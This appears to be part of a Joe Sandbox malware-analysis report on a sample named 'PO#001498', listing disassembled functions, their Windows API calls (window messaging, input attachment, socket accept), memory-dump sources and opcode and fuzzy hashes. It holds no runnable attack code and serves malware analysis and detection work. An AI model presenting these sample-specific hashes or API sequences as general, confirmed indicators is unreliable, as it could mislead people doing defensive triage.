                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 00461420
                                                                                                                                                                                • SendMessageW.USER32(00000000,0000102C,00000000,00000002), ref: 0046144F
                                                                                                                                                                                • __itow.LIBCMT ref: 00461461
                                                                                                                                                                                • __itow.LIBCMT ref: 004614AB
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$__itow$_wcslen
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2875217250-0
                                                                                                                                                                                • Opcode ID: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                                                • Instruction ID: b65c482f8247f617b799fd724a7506577ebf884cdb52d0d4602b18db992df379
                                                                                                                                                                                • Opcode Fuzzy Hash: 347b44770508ca88cf5981266e998b528a2978f718c0dd2978777487f2c1d3f7
                                                                                                                                                                                • Instruction Fuzzy Hash: 3A213D7670031067D210BA169C86FAFB794EB94714F08443FFF44AB241EE69E94687EB
                                                                                                                                                                                Function 0040E1E0 Relevance: 6.1, APIs: 4, Instructions: 82windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 0040E202
                                                                                                                                                                                • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: IconNotifyShell__memset
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 928536360-0
                                                                                                                                                                                • Opcode ID: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                                                • Instruction ID: 9c6d99eda8392314e00a4319cd3b9f491a6d528882fc0aac3328a2d60ab56ec1
                                                                                                                                                                                • Opcode Fuzzy Hash: a8f79553875ba5cd412c6e6f6aef719f94b94a7ff7df26053db2d04cf48d3506
                                                                                                                                                                                • Instruction Fuzzy Hash: FC318170608701DFD320DF25D845B97BBF8BB45304F00486EE99A93380E778A958CF5A
                                                                                                                                                                                Function 004727F8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetForegroundWindow.USER32 ref: 00472806
                                                                                                                                                                                  • Part of subcall function 00443EEF: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 00443F11
                                                                                                                                                                                  • Part of subcall function 00443EEF: GetCurrentThreadId.KERNEL32 ref: 00443F18
                                                                                                                                                                                  • Part of subcall function 00443EEF: AttachThreadInput.USER32(00000000), ref: 00443F1F
                                                                                                                                                                                • GetCaretPos.USER32(?), ref: 0047281A
                                                                                                                                                                                • ClientToScreen.USER32(00000000,?), ref: 00472856
                                                                                                                                                                                • GetForegroundWindow.USER32 ref: 0047285C
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2759813231-0
                                                                                                                                                                                • Opcode ID: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                                                • Instruction ID: 38f02bd9b1f6bed34cfa7ce2d7f69328ba3456287a0ba45db7850a86b8391dd2
                                                                                                                                                                                • Opcode Fuzzy Hash: f08c9821fa495b0e17bd1c697e1e5286648ea95901ecf1a9ceb1535147bec3ee
                                                                                                                                                                                • Instruction Fuzzy Hash: FF2195716403056FE310EF65CC42F5BB7E8AF84708F144D2EF544AB282D6FAB9858795
                                                                                                                                                                                Function 0047721A Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000EC), ref: 0047728E
                                                                                                                                                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772A9
                                                                                                                                                                                • SetWindowLongW.USER32(?,000000EC,00000000), ref: 004772C0
                                                                                                                                                                                • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001,?,?), ref: 004772D0
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$Long$AttributesLayered
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2169480361-0
                                                                                                                                                                                • Opcode ID: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                                                • Instruction ID: faea1ea985e506ac999786301d765d91882fdca708237d94abe4bce3661c65f1
                                                                                                                                                                                • Opcode Fuzzy Hash: cf64f2ba38e7b8586118add57273b6dbf74680437e58013ae8f64db123384f26
                                                                                                                                                                                • Instruction Fuzzy Hash: 5F11B431205510ABD310FB29DD45F9BB798FF91720F10862EF455E72E2C7A8AC45C7A8
                                                                                                                                                                                Function 00448C8B Relevance: 6.1, APIs: 4, Instructions: 73windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32 ref: 00448CB8
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000EC), ref: 00448CE0
                                                                                                                                                                                • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448D19
                                                                                                                                                                                • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D62
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$LongWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 312131281-0
                                                                                                                                                                                • Opcode ID: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                                                                                                • Instruction ID: 9d6bf2a2f0cb0d5184a29e15ea511504db1ac53b4253ca88fa0f688086887250
                                                                                                                                                                                • Opcode Fuzzy Hash: 75ae646de43e531ea10203f5aba75cb55710deee3f48b72b110124c921b55059
                                                                                                                                                                                • Instruction Fuzzy Hash: B12174715053019BF3208F18D98879FB7E4FBD5325F140B2EF594962D0DBB58449C796
                                                                                                                                                                                Function 004588B0 Relevance: 6.1, APIs: 4, Instructions: 67networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • select.WSOCK32 ref: 0045890A
                                                                                                                                                                                • __WSAFDIsSet.WSOCK32(00000000,00000000), ref: 00458919
                                                                                                                                                                                • accept.WSOCK32(00000000,00000000,00000000,00000000,00000000), ref: 00458927
                                                                                                                                                                                • WSAGetLastError.WSOCK32(00000000), ref: 00458952
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorLastacceptselect
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 385091864-0
                                                                                                                                                                                • Opcode ID: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                                                • Instruction ID: 93f38c3b8a65fd8a68e5265ae944391143789c71a4918893f245a539b4228a7d
                                                                                                                                                                                • Opcode Fuzzy Hash: abc1db9f2e63247cad6e2e0496bedee0f0acb9a353b4738024f17ecaf3b799d2
                                                                                                                                                                                • Instruction Fuzzy Hash: 1F2166712043019BD314EF29C842BABB7E5AFC4714F144A2EF994DB2C1DBB4A985CB99
                                                                                                                                                                                Function 00438D4E Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00438D6F
                                                                                                                                                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D82
                                                                                                                                                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438D9A
                                                                                                                                                                                • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00438DB4
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3850602802-0
                                                                                                                                                                                • Opcode ID: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                                • Instruction ID: 707762f1bc06eebb59e9357f9c77b20c0e090dcf7cedc03b298b4f863176c0ea
                                                                                                                                                                                • Opcode Fuzzy Hash: 265964968b448329a9940c71d90cafee1d95b27ec759889be900fe0a368f8aeb
                                                                                                                                                                                • Instruction Fuzzy Hash: 77113AB6204305AFD210EF58DC84F6BF7E8EBE8750F20491EF580D7290D6B1A8468BA1
                                                                                                                                                                                Function 0043362D Relevance: 6.1, APIs: 4, Instructions: 54windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • CreateWindowExW.USER32(?,?,?,FFFFFFFF,?,?,?,?,?,?,00400000,00000000), ref: 0043367E
                                                                                                                                                                                • GetStockObject.GDI32(00000011), ref: 00433695
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 0043369F
                                                                                                                                                                                • ShowWindow.USER32(00000000,00000000), ref: 004336BA
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$CreateMessageObjectSendShowStock
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1358664141-0
                                                                                                                                                                                • Opcode ID: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                                • Instruction ID: 5bb77caae3378c1c36de35f78993aeb7f53e4fc0e9047450929301c31466c70f
                                                                                                                                                                                • Opcode Fuzzy Hash: a78582cd8c915fd270119012ff4eddf0033f410814d91724adacf9cac7d73a6b
                                                                                                                                                                                • Instruction Fuzzy Hash: 60114F72204A00BFD254DF55CC49F5BB3F9AFCCB01F20950DB254922A0D7B4E9418BA9
                                                                                                                                                                                Function 0044419B Relevance: 6.1, APIs: 4, Instructions: 53synchronizationthreadwindowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 004441B8
                                                                                                                                                                                • MessageBoxW.USER32(?,?,?,?), ref: 004441F6
                                                                                                                                                                                • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0044420C
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00444213
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2880819207-0
                                                                                                                                                                                • Opcode ID: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                                                • Instruction ID: a177bb78e812b0c83f085b16f259857c8a511f23e32e5024349264f8b0df3d09
                                                                                                                                                                                • Opcode Fuzzy Hash: 146d2f4ba151d14deb3aa3acfdd6de045567f86e28c98b22242e1e1489ea4094
                                                                                                                                                                                • Instruction Fuzzy Hash: C401E5364183105BD300DB28ED08A9BBBD8BFD9721F18067EF89893351E6B48948C7B6
                                                                                                                                                                                Function 0043401C Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00434037
                                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 0043405B
                                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00434085
                                                                                                                                                                                • InvalidateRect.USER32(?,?,?), ref: 004340A4
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ClientRectScreen$InvalidateWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 357397906-0
                                                                                                                                                                                • Opcode ID: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                                • Instruction ID: 02545dd0d615a745195cb6f618e51c1f9c2552a202a2369b8695847d2ce6fb2f
                                                                                                                                                                                • Opcode Fuzzy Hash: 751e48bbdad3fa965b56aea51b9fa4e55de6b4169d4940aca7a3583b508516de
                                                                                                                                                                                • Instruction Fuzzy Hash: 24117EB9608302AFC304DF18D98095BBBE9FFD8650F10891EF88993350D770E9498BA2
                                                                                                                                                                                Function 00436A1D Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00436AB0
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1187119602-0
                                                                                                                                                                                • Opcode ID: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                                • Instruction ID: cc447ddabc085245cf6c6bda96777749177fc915bba42f20b5b260b799017f3a
                                                                                                                                                                                • Opcode Fuzzy Hash: 5b78189461bd351535feab14c2aa3b28919a840a222a6c91b90152b853837e7b
                                                                                                                                                                                • Instruction Fuzzy Hash: 690165B64043416BD724EB50D881EEBB3ED7BD8304F04C91EB5C982041FB38D24C87A6
                                                                                                                                                                                Function 00437AFE Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcslen$_malloc_wcscat_wcscpy
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1597257046-0
                                                                                                                                                                                • Opcode ID: a0a60491a2b11ab92cb2618fcf1664bc73e22867390c023d5d6986141a6dc3e0
                                                                                                                                                                                • Instruction ID: 9df5ee2dcc5f1a759a9cde70f7b42babd8a8bdcc369222b22224423102f690bd
                                                                                                                                                                                • Opcode Fuzzy Hash: a0a60491a2b11ab92cb2618fcf1664bc73e22867390c023d5d6986141a6dc3e0
                                                                                                                                                                                • Instruction Fuzzy Hash: BFF06D32200200AFC314EB66C885E6BB3EAEBC5324F04852EF556C7791DB39F841C764
                                                                                                                                                                                Function 004555D6 Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DeleteDestroyObject$IconWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3349847261-0
                                                                                                                                                                                • Opcode ID: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                                                • Instruction ID: 3a9029eb8e47786e7dec82746d504bb216afab776d143f23dce7b1a7602128e4
                                                                                                                                                                                • Opcode Fuzzy Hash: 3ca9d014447a04aedc0dfd8276f5a6e9fbff97cfd7386ed498fa31ba53dce0fe
                                                                                                                                                                                • Instruction Fuzzy Hash: 06F03C702006419BDB20AF65DDD8A2B77ACEF45322740456AFD04D7242DB28DC498B7D
                                                                                                                                                                                Function 0044B600 Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • EnterCriticalSection.KERNEL32(?), ref: 0044B60B
                                                                                                                                                                                • InterlockedExchange.KERNEL32(?,?), ref: 0044B619
                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?), ref: 0044B630
                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?), ref: 0044B641
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2223660684-0
                                                                                                                                                                                • Opcode ID: ff66e887f7cbb15f4500d5b6eb7e85b0bae77af45fe5867796c74117f3ed7197
                                                                                                                                                                                • Instruction ID: 8f2921e390180aa9c6083979f061463a0462abb68b72a76a452ff5fd2bc04521
